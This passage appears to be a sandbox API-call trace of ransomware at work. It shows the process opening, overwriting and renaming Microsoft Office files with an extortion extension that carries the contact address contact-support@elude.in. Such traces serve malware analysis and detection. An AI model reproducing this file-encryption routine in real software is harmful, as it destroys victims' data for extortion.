lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0138.767] GetProcessHeap () returned 0x630000 [0138.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe01) returned 0x727e410 [0138.767] GetProcessHeap () returned 0x630000 [0138.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe01) returned 0x727f298 [0138.767] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.767] ReadFile (in: hFile=0x5e4, lpBuffer=0x727e410, nNumberOfBytesToRead=0xde0, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727e410*, lpNumberOfBytesRead=0x3f7ff0c*=0xde0, lpOverlapped=0x0) returned 1 [0138.794] GetProcessHeap () returned 0x630000 [0138.794] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0138.794] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.794] WriteFile (in: hFile=0x5e4, lpBuffer=0x727f298*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727f298*, lpNumberOfBytesWritten=0x3f7ff0c*=0xde0, lpOverlapped=0x0) returned 1 [0138.794] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.794] WriteFile (in: hFile=0x5e4, lpBuffer=0x7280077*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7280077*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.794] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.794] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.794] CloseHandle (hObject=0x5e4) returned 1 [0138.794] GetProcessHeap () returned 0x630000 [0138.794] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727f298 | out: hHeap=0x630000) returned 1 [0138.794] GetProcessHeap () returned 0x630000 [0138.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727e410 | out: hHeap=0x630000) returned 1 [0138.795] GetProcessHeap () returned 0x630000 [0138.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0138.795] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.795] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18aca244, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe23, dwReserved0=0x3f7fd20, dwReserved1=0x727e410, cFileName="Calibri Light-Constantia.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CALIBR~3.FIR")) returned 0x6d5440 [0138.880] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0138.881] Sleep (dwMilliseconds=0x1) [0140.152] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms", len=0x4f | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 1 [0140.152] GetProcessHeap () returned 0x630000 [0140.152] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c44) returned 0x7203db8 [0140.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0142.570] CloseHandle (hObject=0x4e8) returned 1 [0142.572] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.839] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe451402c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe451402c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe485b385, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b9f, dwReserved0=0x780065, dwReserved1=0x4a4, cFileName="HomeBusinessR_Trial-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOE0E8~1.FIR")) returned 0x6d5540 [0143.840] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0143.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0143.840] GetProcessHeap () returned 0x630000 [0143.840] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2ba1) returned 0x6ecd480 [0143.840] GetProcessHeap () returned 0x630000 [0143.840] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2ba1) returned 0x7213f78 [0143.840] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.840] ReadFile (in: hFile=0x4e8, lpBuffer=0x6ecd480, nNumberOfBytesToRead=0x2b80, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecd480*, lpNumberOfBytesRead=0x3f7ff0c*=0x2b80, lpOverlapped=0x0) returned 1 [0144.670] GetProcessHeap () returned 0x630000 [0144.670] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71768e0 [0144.671] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.671] WriteFile (in: hFile=0x4e8, lpBuffer=0x7213f78*, nNumberOfBytesToWrite=0x2b80, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7213f78*, lpNumberOfBytesWritten=0x3f7ff0c*=0x2b80, lpOverlapped=0x0) returned 1 [0145.685] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.685] WriteFile (in: hFile=0x4e8, lpBuffer=0x7216af7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7216af7*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.938] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.938] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.938] CloseHandle (hObject=0x4e8) returned 1 [0145.938] GetProcessHeap () returned 0x630000 [0145.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7213f78 | out: hHeap=0x630000) returned 1 [0145.939] GetProcessHeap () returned 0x630000 [0145.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecd480 | out: hHeap=0x630000) returned 1 [0145.939] GetProcessHeap () returned 0x630000 [0145.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71768e0 | out: hHeap=0x630000) returned 1 [0145.939] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe451402c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe451402c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cef6987, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2bc3, dwReserved0=0xcd87496, dwReserved1=0x6ecd478, cFileName="HomeBusinessR_Trial-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOE0E8~1.FIR")) returned 0x6d5280 [0145.939] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0145.939] Sleep (dwMilliseconds=0x1) [0146.021] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXC", len=0x44 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXC") returned 1 [0146.021] GetProcessHeap () returned 0x630000 [0146.021] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2758) returned 0x71f7c78 [0146.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0146.779] CloseHandle (hObject=0x684) returned 1 [0146.779] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.808] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.808] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTLOO~3.FIR")) returned 0x6d5580 [0146.808] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0146.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0146.809] GetProcessHeap () returned 0x630000 [0146.809] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67c3e0 [0146.809] GetProcessHeap () returned 0x630000 [0146.809] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67c6a8 [0146.809] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.809] ReadFile (in: hFile=0x684, lpBuffer=0x67c3e0, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c3e0*, lpNumberOfBytesRead=0x3f7ff0c*=0x280, lpOverlapped=0x0) returned 1 [0146.812] GetProcessHeap () returned 0x630000 [0146.812] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0146.813] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.813] WriteFile (in: hFile=0x684, lpBuffer=0x67c6a8*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c6a8*, lpNumberOfBytesWritten=0x3f7ff0c*=0x280, lpOverlapped=0x0) returned 1 [0146.813] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.813] WriteFile (in: hFile=0x684, lpBuffer=0x67c927*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c927*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.813] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.813] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.813] CloseHandle (hObject=0x684) returned 1 [0146.813] GetProcessHeap () returned 0x630000 [0146.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67c6a8 | out: hHeap=0x630000) returned 1 [0146.813] GetProcessHeap () returned 0x630000 [0146.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67c3e0 | out: hHeap=0x630000) returned 1 [0146.813] GetProcessHeap () returned 0x630000 [0146.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0146.813] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d74eced, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x3f7fd20, dwReserved1=0x67c3e0, cFileName="OUTLOOK_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTLOO~3.FIR")) returned 0x6d5280 [0146.814] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.814] Sleep (dwMilliseconds=0x1) [0146.823] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOVE.VRD", len=0x3d | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOVE.VRD") returned 1 [0146.823] GetProcessHeap () returned 0x630000 [0146.823] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26c8) returned 0x71f7c78 [0146.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\move.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0146.824] CloseHandle (hObject=0x684) returned 1 [0146.824] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\move.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOVE.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\move.vrd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.825] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOVE.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x468bdf3, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x468bdf3, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x468bdf3, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x58c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOVE.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MOVEVR~1.FIR")) returned 0x6d5000 [0146.825] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0146.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOVE.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\move.vrd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0146.825] GetProcessHeap () returned 0x630000 [0146.825] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5a1) returned 0x6f05388 [0146.825] GetProcessHeap () returned 0x630000 [0146.825] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5a1) returned 0x72b04c8 [0146.825] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.825] ReadFile (in: hFile=0x684, lpBuffer=0x6f05388, nNumberOfBytesToRead=0x580, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f05388*, lpNumberOfBytesRead=0x3f7ff0c*=0x580, lpOverlapped=0x0) returned 1 [0146.832] GetProcessHeap () returned 0x630000 [0146.832] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.832] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.832] WriteFile (in: hFile=0x684, lpBuffer=0x72b04c8*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b04c8*, lpNumberOfBytesWritten=0x3f7ff0c*=0x580, lpOverlapped=0x0) returned 1 [0146.832] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.832] WriteFile (in: hFile=0x684, lpBuffer=0x72b0a47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b0a47*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.832] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.832] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.832] CloseHandle (hObject=0x684) returned 1 [0146.832] GetProcessHeap () returned 0x630000 [0146.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b04c8 | out: hHeap=0x630000) returned 1 [0146.832] GetProcessHeap () returned 0x630000 [0146.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f05388 | out: hHeap=0x630000) returned 1 [0146.832] GetProcessHeap () returned 0x630000 [0146.833] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.833] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.833] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOVE.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x468bdf3, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x468bdf3, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1d774fb0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0xcd87496, dwReserved1=0x6f05380, cFileName="MOVE.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MOVEVR~1.FIR")) returned 0x6d4f40 [0146.833] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0146.833] Sleep (dwMilliseconds=0x1) [0146.839] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_K_COL.HXK", len=0x4a | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_K_COL.HXK") returned 1 [0146.839] GetProcessHeap () returned 0x630000 [0146.839] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26c4) returned 0x71f7c78 [0146.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0146.839] CloseHandle (hObject=0x684) returned 1 [0146.839] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.839] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.840] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft 